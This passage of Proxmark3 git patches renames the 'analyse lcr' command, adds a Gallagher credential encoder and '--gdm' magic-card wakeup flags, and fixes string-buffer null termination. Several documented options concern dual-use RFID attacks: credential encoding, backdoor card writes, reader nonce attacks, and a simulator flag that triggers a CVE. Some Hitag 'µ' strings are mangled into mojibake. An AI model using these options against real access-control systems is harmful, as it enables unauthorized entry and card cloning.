"Stub method for CRC evaluations"}, {"chksum", CmdAnalyseCHKSUM, AlwaysAvailable, "Checksum with adding, masking and one's complement"}, {"dates", CmdAnalyseDates, AlwaysAvailable, "Look for datestamps in a given array of bytes"}, diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 4c67baf01..bd7fdbc45 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -63,7 +63,7 @@ const static vocabulary_t vocabulary[] = { { 1, "prefs set output" }, { 1, "prefs set plotsliders" }, { 1, "analyse help" }, - { 1, "analyse lcr" }, + { 1, "analyse lrc" }, { 1, "analyse crc" }, { 1, "analyse chksum" }, { 1, "analyse dates" }, @@ -267,6 +267,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf gallagher delete" }, { 1, "hf gallagher diversifykey" }, { 1, "hf gallagher decode" }, + { 1, "hf gallagher encode" }, { 1, "hf iclass help" }, { 1, "hf iclass list" }, { 0, "hf iclass dump" }, diff --git a/doc/commands.json b/doc/commands.json index f28a7e93b..7031a6922 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -97,16 +97,16 @@ }, "analyse help": { "command": "analyse help", - "description": "help This help lcr Generate final byte for XOR LRC crc Stub method for CRC evaluations chksum Checksum with adding, masking and one's complement dates Look for datestamps in a given array of bytes lfsr LFSR tests a num bits test nuid create NUID from 7byte UID demodbuff Load binary string to DemodBuffer freq Calc wave lengths foo muxer units convert ETU <> US <> SSP_CLK (3.39MHz) --------------------------------------------------------------------------------------- analyse lcr available offline: yes Specifying the bytes of a UID with a known LRC will find the last byte value needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", + "description": "help This help lrc Generate final byte for XOR LRC crc Stub method for CRC evaluations chksum Checksum with adding, masking and one's complement dates Look for datestamps in a given array of bytes lfsr LFSR tests a num bits test nuid create NUID from 7byte UID demodbuff Load binary string to DemodBuffer freq Calc wave lengths foo muxer units convert ETU <> US <> SSP_CLK (3.39MHz) --------------------------------------------------------------------------------------- analyse lrc available offline: yes Specifying the bytes of a UID with a known LRC will find the last byte value needed to generate that LRC with a rolling XOR. All bytes should be specified in HEX.", "notes": [ - "analyse lcr -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" + "analyse lrc -d 04008064BA -> Target (BA) requires final LRC XOR byte value: 5A" ], "offline": true, "options": [ "-h, --help This help", - "-d, --data bytes to calc missing XOR in a LCR" + "-d, --data bytes to calc missing XOR in a LRC" ], - "usage": "analyse lcr [-h] -d " + "usage": "analyse lrc [-h] -d " }, "analyse lfsr": { "command": "analyse lfsr", @@ -380,15 +380,15 @@ }, "data envelope": { "command": "data envelope", - "description": "Create an square envelop of the samples", + "description": "Create an square envelope of the samples", "notes": [ - "data envelop" + "data envelope" ], "offline": true, "options": [ "-h, --help This help" ], - "usage": "data envelop [-h]" + "usage": "data envelope [-h]" }, "data fsktonrz": { "command": "data fsktonrz", @@ -582,7 +582,7 @@ "description": "Function takes a decimal or hexdecimal number and print it in decimal/hex/binary Will print message if number is a prime number", "notes": [ "data num --dec 2023", - "data num --hex 0x1000" + "data num --hex 2A" ], "offline": true, "options": [ @@ -3141,9 +3141,25 @@ ], "usage": "hf gallagher diversify [-h] --aid [--keynum ] [--uid ] [--sitekey ] [--apdu]" }, + "hf gallagher encode": { + "command": "hf gallagher encode", + "description": "Encode a Gallagher credential block Credential block can be specified with or without the bitwise inverse.", + "notes": [ + "hf gallagher encode --rc 1 --fc 22153 --cn 1253518 --il 1" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-r, --rc Region code. 4 bits max", + "-f, --fc Facility code. 2 bytes max", + "-c, --cn Card number. 3 bytes max", + "-i, --il Issue level. 4 bits max" + ], + "usage": "hf gallagher encode [-h] -r -f -c -i " + }, "hf gallagher help": { "command": "hf gallagher help", - "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", + "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", "notes": [ "hf gallagher reader -@ -> continuous reader mode", "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> skip CAD" @@ -4367,9 +4383,10 @@ "options": [ "-h, --help This help", "-b, --blk block number", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cgetblk [-hv] -b " + "usage": "hf mf cgetblk [-hv] -b [--gdm]" }, "hf mf cgetsc": { "command": "hf mf cgetsc", @@ -4381,9 +4398,10 @@ "options": [ "-h, --help This help", "-s, --sec sector number", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cgetsc [-hv] -s " + "usage": "hf mf cgetsc [-hv] -s [--gdm]" }, "hf mf chk": { "command": "hf mf chk", @@ -4431,9 +4449,10 @@ "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--emu from emulator memory" + "--emu from emulator memory", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cload [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu]" + "usage": "hf mf cload [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu] [--gdm]" }, "hf mf csave": { "command": "hf mf csave", @@ -4450,9 +4469,10 @@ "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--emu to emulator memory" + "--emu to emulator memory", + "--gdm to emulator memory" ], - "usage": "hf mf csave [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu]" + "usage": "hf mf csave [-h] [-f ] [--mini] [--1k] [--2k] [--4k] [--emu] [--gdm]" }, "hf mf csetblk": { "command": "hf mf csetblk", @@ -4465,9 +4485,10 @@ "-h, --help This help", "-b, --blk block number", "-d, --data bytes to write, 16 hex bytes", - "-w, --wipe wipes card with backdoor cmd before writing" + "-w, --wipe wipes card with backdoor cmd before writing", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf csetblk [-hw] -b [-d ]" + "usage": "hf mf csetblk [-hw] -b [-d ] [--gdm]" }, "hf mf csetuid": { "command": "hf mf csetuid", @@ -4482,9 +4503,10 @@ "-w, --wipe wipes card with backdoor cmd`", "-u, --uid UID, 4/7 hex bytes", "-a, --atqa ATQA, 2 hex bytes", - "-s, --sak SAK, 1 hex byte" + "-s, --sak SAK, 1 hex byte", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf csetuid [-hw] [-u ] [-a ] [-s ]" + "usage": "hf mf csetuid [-hw] [-u ] [-a ] [-s ] [--gdm]" }, "hf mf cview": { "command": "hf mf cview", @@ -4500,9 +4522,10 @@ "--1k MIFARE Classic 1k / S50 (def)", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "-v, --verbose verbose output" + "-v, --verbose verbose output", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cview [-hv] [--mini] [--1k] [--2k] [--4k]" + "usage": "hf mf cview [-hv] [--mini] [--1k] [--2k] [--4k] [--gdm]" }, "hf mf cwipe": { "command": "hf mf cwipe", @@ -4516,9 +4539,10 @@ "-h, --help This help", "-u, --uid UID, 4 hex bytes", "-a, --atqa ATQA, 2 hex bytes", - "-s, --sak SAK, 1 hex byte" + "-s, --sak SAK, 1 hex byte", + "--gdm use gdm alt (20/23) magic wakeup" ], - "usage": "hf mf cwipe [-h] [-u ] [-a ] [-s ]" + "usage": "hf mf cwipe [-h] [-u ] [-a ] [-s ] [--gdm]" }, "hf mf darkside": { "command": "hf mf darkside", @@ -5383,17 +5407,18 @@ "--1k MIFARE Classic 1k / S50", "--2k MIFARE Classic/Plus 2k", "--4k MIFARE Classic 4k / S70", - "--atqa Provide explicit ATQA (2 bytes, overrides option t)", - "--sak Provide explicit SAK (1 bytes, overrides option t)", + "--atqa Provide explicit ATQA (2 bytes)", + "--sak Provide explicit SAK (1 bytes)", "-n, --num Automatically exit simulation after blocks have been read by reader. 0 = infinite", "-i, --interactive Console will not be returned until simulation finishes or is aborted", "-x Performs the 'reader attack', nr/ar attack against a reader.", "-y Performs the nested 'reader attack'. This requires preloading nt & nt_enc in emulator memory. Implies -x.", "-e, --emukeys Fill simulator keys from found keys. Requires -x or -y. Implies -i. Simulation will restart automatically.", - "-v, --verbose verbose output", - "--cve trigger CVE 2021_0430" + "--allowkeyb Allow key B even if readable", + "-v, --verbose Verbose output", + "--cve Trigger CVE 2021_0430" ], - "usage": "hf mf sim [-hixyev] [-u ] [--mini] [--1k] [--2k] [--4k] [--atqa ] [--sak ] [-n ] [--cve]" + "usage": "hf mf sim [-hixyev] [-u ] [--mini] [--1k] [--2k] [--4k] [--atqa ] [--sak ] [-n ] [--allowkeyb] [--cve]" }, "hf mf staticnested": { "command": "hf mf staticnested", @@ -8501,7 +8526,7 @@ "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11000 -> probing for Hitag 2/S", "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11010 -> probing for Hitag S", "lf cmdread -d 50 -z 116 -o 166 -e W3000 -c W11000 -s 2000 -@ -> probing for Hitag 2/S, oscilloscope style", - "lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -c W0S00000010000E -> probing for Hitag \u00b5(micro)" + "lf cmdread -d 48 -z 112 -o 176 -e W3000 -e S240 -e E336 -c W0S00000010000E -> probing for Hitag \u00e6(micro)" ], "offline": false, "options": [ @@ -9737,7 +9762,7 @@ "-1, --ht1 Card type Hitag 1", "-2, --ht2 Card type Hitag 2", "-s, --hts Card type Hitag S", - "-m, --htm Card type Hitag \u03bc" + "-m, --htm Card type Hitag \u00ce\u00bc" ], "usage": "lf hitag eload [-h12sm] -f " }, @@ -9813,10 +9838,11 @@ "--nrar nonce / answer writer, 8 hex bytes", "--crypto crypto mode", "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)", "-p, --page page address to read from", - "-c, --count how many pages to read. '0' reads all pages up to the end page (default: 1)" + "-c, --count how many pages to read. '0' reads all pages up to the end page (def: 1)" ], - "usage": "lf hitag hts rdbl [-h8] [--nrar ] [--crypto] [-k ] [-p ] [-c ]" + "usage": "lf hitag hts rdbl [-h8] [--nrar ] [--crypto] [-k ] [-m ] [-p ] [-c ]" }, "lf hitag hts reader": { "command": "lf hitag hts reader", @@ -9863,10 +9889,11 @@ "--nrar nonce / answer writer, 8 hex bytes", "--crypto crypto mode", "-k, --key pwd or key, 4 or 6 hex bytes", + "-m, --mode response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)", "-p, --page page address to write to", "-d, --data data, 4 hex bytes" ], - "usage": "lf hitag hts wrbl [-h8] [--nrar ] [--crypto] [-k ] -p -d " + "usage": "lf hitag hts wrbl [-h8] [--nrar ] [--crypto] [-k ] [-m ] -p -d " }, "lf hitag info": { "command": "lf hitag info", @@ -12976,8 +13003,8 @@ } }, "metadata": { - "commands_extracted": 748, + "commands_extracted": 749, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2024-10-18T15:36:53" + "extracted_on": "2024-11-02T12:57:51" } } diff --git a/doc/commands.md b/doc/commands.md index 717b659aa..c78c4aea1 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -74,7 +74,7 @@ Check column "offline" for their availability. |command |offline |description |------- |------- |----------- |`analyse help `|Y |`This help` -|`analyse lcr `|Y |`Generate final byte for XOR LRC` +|`analyse lrc `|Y |`Generate final byte for XOR LRC` |`analyse crc `|Y |`Stub method for CRC evaluations` |`analyse chksum `|Y |`Checksum with adding, masking and one's complement` |`analyse dates `|Y |`Look for datestamps in a given array of bytes` @@ -382,6 +382,7 @@ Check column "offline" for their availability. |`hf gallagher delete `|N |`Delete Gallagher credentials from a DESFire card` |`hf gallagher diversifykey`|Y |`Diversify Gallagher key` |`hf gallagher decode `|Y |`Decode Gallagher credential block` +|`hf gallagher encode `|Y |`Encode Gallagher credential block` ### hf iclass diff --git a/doc/magic_cards_notes.md b/doc/magic_cards_notes.md index 088756c49..87b9aa8b9 100644 --- a/doc/magic_cards_notes.md +++ b/doc/magic_cards_notes.md @@ -374,7 +374,7 @@ UID 4b: (actually NUID as there are no more "unique" IDs on 4b) ``` -Computing BCC on UID 11223344: `analyse lcr -d 11223344` = `44` +Computing BCC on UID 11223344: `analyse lrc -d 11223344` = `44` UID 7b: @@ -1607,9 +1607,9 @@ BCC1 Int LCK0 LCK1 UID is made of SN0..SN6 bytes -Computing BCC0 on UID 04112233445566: `analyse lcr -d 88041122` = `bf` +Computing BCC0 on UID 04112233445566: `analyse lrc -d 88041122` = `bf` -Computing BCC1 on UID 04112233445566: `analyse lcr -d 33445566` = `44` +Computing BCC1 on UID 04112233445566: `analyse lrc -d 33445566` = `44` Int is internal, typically 0x48 From 9ddd833cbaf5647b9b4d9bc8b2f9c5d36397d290 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 2 Nov 2024 14:50:31 +0100 Subject: [PATCH 054/155] fix string handling and styles --- armsrc/iso14443a.c | 47 ++++++++++++++++++++++++++------------- armsrc/iso14443a.h | 2 +- client/src/cmdhffido.c | 11 ++++----- client/src/cmdhfmfdes.c | 6 ++--- client/src/cmdlf.c | 21 ++++++++++++----- client/src/cmdlfem410x.c | 2 +- client/src/cmdlfpac.c | 2 +- client/src/cmdlft55xx.c | 2 +- client/src/cmdsmartcard.c | 2 +- client/src/emv/cmdemv.c | 6 ++--- 10 files changed, 64 insertions(+), 37 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index f14e48504..9bfbf9423 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -554,7 +554,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision - if (!Demod.collisionPos) { + if (Demod.collisionPos == 0) { Demod.collisionPos = (Demod.len << 3) + Demod.bitCount; } } // modulation in first half only - Sequence D = 1 @@ -589,6 +589,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t } Demod.endTime = Demod.startTime + 8 * (9 * Demod.len + Demod.bitCount + 1); } else { // no modulation in both halves - End of communication + if (Demod.bitCount > 0) { // there are some remaining data bits Demod.shiftReg >>= (9 - Demod.bitCount); // right align the decoded bits Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output @@ -600,6 +601,7 @@ RAMFUNC int ManchesterDecoding(uint8_t bit, uint16_t offset, uint32_t non_real_t Demod.parityBits <<= (8 - (Demod.len & 0x0007)); // left align remaining parity bits Demod.parity[Demod.parityLen++] = Demod.parityBits; // and store them } + if (Demod.len) { return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over @@ -624,11 +626,13 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { if (Demod.state == DEMOD_14A_UNSYNCD) { if (Demod.highCnt < 2) { // wait for a stable unmodulated signal + if (Demod.twoBits == 0x0000) { Demod.highCnt++; } else { Demod.highCnt = 0; } + } else { Demod.syncBit = 0xFFFF; // not set if ((Demod.twoBits & 0x7700) == 0x7000) Demod.syncBit = 7; @@ -639,6 +643,7 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { else if ((Demod.twoBits & 0x03B8) == 0x0380) Demod.syncBit = 2; else if ((Demod.twoBits & 0x01DC) == 0x01C0) Demod.syncBit = 1; else if ((Demod.twoBits & 0x00EE) == 0x00E0) Demod.syncBit = 0; + if (Demod.syncBit != 0xFFFF) { Demod.startTime = (GetCountSspClk() & 0xfffffff8); Demod.startTime -= Demod.syncBit; @@ -647,38 +652,49 @@ static RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) { Demod.state = DEMOD_14A_MANCHESTER_DATA; } } + } else { if (IsManchesterModulationNibble1(Demod.twoBits >> Demod.syncBit)) { // modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // ... and in second half = collision - if (!Demod.collisionPos) { + if (Demod.collisionPos == 0) { Demod.collisionPos = (Demod.len << 3) + Demod.bitCount; } } // modulation in first half only - Sequence D = 1 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg << 1) | 0x1; // in both cases, add a 1 to the shiftreg + if (Demod.bitCount == 8) { // if we decoded a full byte - Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.output[Demod.len++] = (Demod.shiftReg & 0xFF); Demod.bitCount = 0; Demod.shiftReg = 0; } + Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1) - 4; + } else { // no modulation in first half + if (IsManchesterModulationNibble2(Demod.twoBits >> Demod.syncBit)) { // and modulation in second half = Sequence E = 0 Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg << 1); // add a 0 to the shiftreg if (Demod.bitCount >= 8) { // if we decoded a full byte - Demod.output[Demod.len++] = (Demod.shiftReg & 0xff); + Demod.output[Demod.len++] = (Demod.shiftReg & 0xFF); Demod.bitCount = 0; Demod.shiftReg = 0; } Demod.endTime = Demod.startTime + 8 * (8 * Demod.len + Demod.bitCount + 1); + } else { // no modulation in both halves - End of communication - if (Demod.bitCount > 0) { // there are some remaining data bits + + if (Demod.bitCount) { // there are some remaining data bits Demod.shiftReg <<= (8 - Demod.bitCount); // left align the decoded bits - Demod.output[Demod.len++] = Demod.shiftReg & 0xff; // and add them to the output + Demod.output[Demod.len++] = Demod.shiftReg & 0xFF; // and add them to the output + + Dbprintf("A | len... %u - %u == 0x%02x", Demod.len, Demod.bitCount, Demod.output[0]); return true; } + if (Demod.len) { return true; // we are finished with decoding the raw data sequence } else { // nothing received. Start over @@ -2237,7 +2253,7 @@ int EmGetCmd(uint8_t *received, uint16_t received_max_len, uint16_t *len, uint8_ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { volatile uint8_t b; uint16_t i = 0; - uint32_t ThisTransferTime; + uint32_t ThisTransferTime = 0; bool correction_needed; // Modulate Manchester @@ -2262,7 +2278,9 @@ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { // wait for the FPGA to signal fdt_indicator == 1 (the FPGA is ready to queue new data in its delay line) for (uint8_t j = 0; j < 5; j++) { // allow timeout - better late than never while (!(AT91C_BASE_SSC->SSC_SR & AT91C_SSC_RXRDY)); - if (AT91C_BASE_SSC->SSC_RHR) break; + if (AT91C_BASE_SSC->SSC_RHR) { + break; + } } while ((ThisTransferTime = GetCountSspClk()) & 0x00000007); @@ -2288,7 +2306,7 @@ int EmSendCmd14443aRaw(const uint8_t *resp, uint16_t respLen) { } } LastTimeProxToAirStart = ThisTransferTime + (correction_needed ? 8 : 0); - return 0; + return PM3_SUCCESS; } int EmSend4bit(uint8_t resp) { @@ -2385,10 +2403,10 @@ bool EmLogTrace(uint8_t *reader_data, uint16_t reader_len, uint32_t reader_Start // If a response is captured return TRUE // If it takes too long return FALSE //----------------------------------------------------------------------------- -bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp_len, uint8_t *received_len) { +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len) { if (g_hf_field_active == false) { - Dbprintf("Warning: HF field is off, ignoring GetIso14443aAnswerFromTag_Thinfilm command"); + Dbprintf("Warning: HF field is off"); return false; } @@ -2399,7 +2417,7 @@ bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_ISO14443A | FPGA_HF_ISO14443A_READER_LISTEN); // Now get the answer from the card - Demod14aInit(receivedResponse, resp_len, NULL); + Demod14aInit(receivedResponse, rec_maxlen, NULL); // clear RXRDY: uint8_t b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; @@ -2415,18 +2433,17 @@ bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp b = (uint8_t)AT91C_BASE_SSC->SSC_RHR; if (ManchesterDecoding_Thinfilm(b)) { *received_len = Demod.len; - LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); return true; } } - if (GetTickCountDelta(receive_timer) > timeout + 100) + if (GetTickCountDelta(receive_timer) > timeout + 100) { break; } + } *received_len = Demod.len; - LogTrace(receivedResponse, Demod.len, Demod.startTime * 16 - DELAY_AIR2ARM_AS_READER, Demod.endTime * 16 - DELAY_AIR2ARM_AS_READER, NULL, false); return false; } diff --git a/armsrc/iso14443a.h b/armsrc/iso14443a.h index c550a4701..61d86b58b 100644 --- a/armsrc/iso14443a.h +++ b/armsrc/iso14443a.h @@ -176,7 +176,7 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype); void DetectNACKbug(void); void SimulateIso14443aTagAID(uint8_t tagType, uint16_t flags, uint8_t *data, uint8_t *iRATs, uint8_t *aid, uint8_t *resp, uint8_t *apdu, int aid_len, int respond_len, int apdu_len, bool enumerate); -bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t resp_len, uint8_t *received_len); +bool GetIso14443aAnswerFromTag_Thinfilm(uint8_t *receivedResponse, uint16_t rec_maxlen, uint8_t *received_len); extern iso14a_polling_parameters_t WUPA_POLLING_PARAMETERS; extern iso14a_polling_parameters_t REQA_POLLING_PARAMETERS; diff --git a/client/src/cmdhffido.c b/client/src/cmdhffido.c index a39b1157d..2032dca95 100644 --- a/client/src/cmdhffido.c +++ b/client/src/cmdhffido.c @@ -202,7 +202,7 @@ static int CmdHFFidoRegister(const char *cmd) { if (cpplain) { memset(cdata, 0x00, 32); - chlen = sizeof(cdata); + chlen = sizeof(cdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 5, cdata, &chlen); if (chlen > 16) { PrintAndLogEx(ERR, "ERROR: challenge parameter length in ASCII mode must be less than 16 chars instead of: %d", chlen); @@ -226,7 +226,7 @@ static int CmdHFFidoRegister(const char *cmd) { if (applain) { memset(adata, 0x00, 32); - applen = sizeof(adata); + applen = sizeof(adata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 6, adata, &applen); if (applen > 16) { PrintAndLogEx(ERR, "ERROR: application parameter length in ASCII mode must be less than 16 chars instead of: %d", applen); @@ -245,8 +245,9 @@ static int CmdHFFidoRegister(const char *cmd) { return PM3_EINVARG; } } - if (applen) + if (applen) { memmove(&data[32], adata, 32); + } CLIParserFree(ctx); @@ -516,7 +517,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { if (cpplain) { memset(hdata, 0x00, 32); - hdatalen = sizeof(hdata); + hdatalen = sizeof(hdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 9, hdata, &hdatalen); if (hdatalen > 16) { PrintAndLogEx(ERR, "ERROR: challenge parameter length in ASCII mode must be less than 16 chars instead of: %d", hdatalen); @@ -542,7 +543,7 @@ static int CmdHFFidoAuthenticate(const char *cmd) { if (applain) { memset(hdata, 0x00, 32); - hdatalen = sizeof(hdata); + hdatalen = sizeof(hdata) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 10, hdata, &hdatalen); if (hdatalen > 16) { PrintAndLogEx(ERR, "ERROR: application parameter length in ASCII mode must be less than 16 chars instead of: %d", hdatalen); diff --git a/client/src/cmdhfmfdes.c b/client/src/cmdhfmfdes.c index dc5caa94b..245fae293 100644 --- a/client/src/cmdhfmfdes.c +++ b/client/src/cmdhfmfdes.c @@ -2005,7 +2005,7 @@ static int CmdHF14ADesSelectApp(const char *Cmd) { } uint8_t dfname[32] = {0}; - int dfnamelen = 16; + int dfnamelen = 16; // since max length is 16 chars we don't have to test for 32-1 null termination CLIGetStrWithReturn(ctx, 12, dfname, &dfnamelen); bool selectmf = arg_get_lit(ctx, 13); @@ -2614,8 +2614,8 @@ static int CmdHF14ADesCreateApp(const char *Cmd) { return PM3_EINVARG; } - uint8_t dfname[250] = {0}; - int dfnamelen = 16; + uint8_t dfname[32] = {0}; + int dfnamelen = 16; // since max length is 16 chars we don't have to test for 32-1 null termination CLIGetStrWithReturn(ctx, 14, dfname, &dfnamelen); if (dfnamelen == 0) { // no text DF Name supplied diff --git a/client/src/cmdlf.c b/client/src/cmdlf.c index af931d9d6..2f128cf63 100644 --- a/client/src/cmdlf.c +++ b/client/src/cmdlf.c @@ -288,10 +288,12 @@ int CmdLFCommandRead(const char *Cmd) { uint16_t period_1 = arg_get_u32_def(ctx, 4, 0); uint16_t period_0 = arg_get_u32_def(ctx, 5, 0); uint32_t samples = arg_get_u32_def(ctx, 6, 0); + bool verbose = arg_get_lit(ctx, 7); bool keep_field_on = arg_get_lit(ctx, 8); bool add_crc_ht = arg_get_lit(ctx, 9); bool cm = arg_get_lit(ctx, 10); + CLIParserFree(ctx); if (g_session.pm3_present == false) { @@ -1124,9 +1126,10 @@ int CmdLFfskSim(const char *Cmd) { uint8_t fchigh = arg_get_u32_def(ctx, 3, 0); bool separator = arg_get_lit(ctx, 4); - int raw_len = 64; - char raw[64] = {0}; + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 5, (uint8_t *)raw, &raw_len); + bool verbose = arg_get_lit(ctx, 6); CLIParserFree(ctx); @@ -1234,9 +1237,10 @@ int CmdLFaskSim(const char *Cmd) { bool use_ar = arg_get_lit(ctx, 5); bool separator = arg_get_lit(ctx, 6); - int raw_len = 64; - char raw[64] = {0}; + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); + bool verbose = arg_get_lit(ctx, 8); CLIParserFree(ctx); @@ -1336,17 +1340,22 @@ int CmdLFpskSim(const char *Cmd) { arg_lit0("v", "verbose", "verbose output"), arg_param_end }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + bool use_psk1 = arg_get_lit(ctx, 1); bool use_psk2 = arg_get_lit(ctx, 2); bool use_psk3 = arg_get_lit(ctx, 3); bool invert = arg_get_lit(ctx, 4); + uint8_t clk = arg_get_u32_def(ctx, 5, 0); uint8_t carrier = arg_get_u32_def(ctx, 6, 2); - int raw_len = 64; - char raw[64] = {0}; + + char raw[65] = {0}; + int raw_len = sizeof(raw) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 7, (uint8_t *)raw, &raw_len); bool verbose = arg_get_lit(ctx, 8); + CLIParserFree(ctx); if ((use_psk1 + use_psk2 + use_psk3) > 1) { diff --git a/client/src/cmdlfem410x.c b/client/src/cmdlfem410x.c index 1acebd6ab..b8743998a 100644 --- a/client/src/cmdlfem410x.c +++ b/client/src/cmdlfem410x.c @@ -364,8 +364,8 @@ static int CmdEM410xDemod(const char *Cmd) { size_t max_len = arg_get_u32_def(ctx, 3, 0); bool invert = arg_get_lit(ctx, 4); bool amplify = arg_get_lit(ctx, 5); - int bin_len = 512; uint8_t bin[512] = {0}; + int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 6, bin, &bin_len); CLIParserFree(ctx); diff --git a/client/src/cmdlfpac.c b/client/src/cmdlfpac.c index 0ba92534b..46c81876c 100644 --- a/client/src/cmdlfpac.c +++ b/client/src/cmdlfpac.c @@ -236,7 +236,7 @@ static int CmdPacClone(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); - uint8_t cnstr[9] = {0}; + uint8_t cnstr[10] = {0}; int cnlen = sizeof(cnstr) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated memset(cnstr, 0x00, sizeof(cnstr)); CLIGetStrWithReturn(ctx, 1, cnstr, &cnlen); diff --git a/client/src/cmdlft55xx.c b/client/src/cmdlft55xx.c index 9233ec660..48c2fa7a7 100644 --- a/client/src/cmdlft55xx.c +++ b/client/src/cmdlft55xx.c @@ -1952,7 +1952,7 @@ static int CmdT55xxDangerousRaw(const char *Cmd) { ng.bitlen = 0; memset(ng.data, 0x00, sizeof(ng.data)); - uint8_t bin[128] = {0}; + uint8_t bin[129] = {0}; int bin_len = sizeof(bin) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 1, bin, &bin_len); diff --git a/client/src/cmdsmartcard.c b/client/src/cmdsmartcard.c index a6a07c4c6..04b92a8f6 100644 --- a/client/src/cmdsmartcard.c +++ b/client/src/cmdsmartcard.c @@ -1259,7 +1259,7 @@ static int CmdPCSC(const char *Cmd) { strcpy((char *) host, "localhost"); } - uint8_t port[6] = {0}; + uint8_t port[7] = {0}; int portLen = sizeof(port) - 1; // CLIGetStrWithReturn does not guarantee string to be null-terminated CLIGetStrWithReturn(ctx, 2, port, &portLen); if 